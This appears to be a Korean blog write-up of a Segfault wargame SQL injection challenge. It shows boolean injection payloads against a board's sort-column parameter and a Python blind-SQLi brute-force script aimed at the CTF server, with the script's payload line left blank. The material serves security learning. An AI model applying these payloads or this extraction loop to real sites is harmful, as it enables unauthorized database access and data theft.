본문 바로가기

Wargame/Segfault

SQL Injection Point 2

➡️ 사이트에서 플래그를 찾아보자

  • 전 문제와 같이 로그인페이지가 있다.
  • messi /123456으로 회원가입을 해줬다.

  • 잘못된 데이터를 전달 시 등록되지 않은 사용자입니다 라는 알림이 뜬다

  • messi' and '1'='1 → 로그인 실패
  • messi'# → 로그인 실패
  • messi''''' → 오류 x
  • 취약점이 없다고 판단하고 넘어갔다.

  • 마이페이지도 세션id로 변수를 할당 하는 것 같고 취약점이 보이지 않아서 패스했다.

  • 게시판은 테스트를 위해서 글 세개를 작성했다.

  • test를 검색했을 때 test라는 글자가 들어간 데이터가 모두 출력됐다 → LIKE '%입력값%' 형태로 되어 있는 거 같다.
  • test%' and '1%' = '1 을 넣어줬지만 다른 결과가 나왔다. → SQLI 취약점 x

  • option_val로 컬럼명을 받고 있다  WHERE $option_val LIKE '%입력값%' 구문 예상
  • '1' ='1' and title → 똑같은 결과
  • '1' = '2' and title → 다른 결과
  • SQLI취약점이 존재한다.

  • (select 'test' = 'test) and title 로 테스트를 해봤다.
  • ascii(substr(database(),1,1))>97 and title 로 하나씩 알아봤고 첫글자가 115라는 것을 알게됐다.
  • 바로  Blind SQLi 하러 가보자
import requests

url = "http://ctf2.segfaulthub.com:7777/sqli_7/notice_list.php"
cookie= {"PHPSESSID":"h11ok0n7dfefv4d5v9b893uj33"}
tables=[]

for tbl_idx in range(0,5):
    flag=""
    found2=False
    for i in range(1, 40): 
        found = False
        for c in range(33, 127):  #문자+특수기호 범위
            payload = 
            res = requests.post(
                url,
                cookies=cookie,
                data={"option_val": payload,
                      "board_result": 'test',
                      "board_search": "%F0%9F%94%8D",
                      }
            )
            print(f"{tbl_idx+1}:{i} : {c} x")

            if "1test1" in res.text:
                flag += chr(c)
                print(f"{tbl_idx+1}[{i}] {chr(c)} ->{flag}")
                found = True
                found2 = True
                break

        if not found:
            tables.append(flag)
            break
    if not found2:
        break  

print(f"{tables}")
  • 나는 내가 작성한 1test1이 응답에 있다면 참으로 스크립트를 작성했다.
  • 플래그를 얻는 과정은 생략하겠다.

➡️ 플래그 획득

'Wargame > Segfault' 카테고리의 다른 글

SQL Injection Point 4  (0) 2025.05.30
SQL Injection Point 3  (0) 2025.05.30
SQL Injection Point 1  (1) 2025.05.30
SQL Injection 6  (0) 2025.05.23
SQL Injection 5  (0) 2025.05.23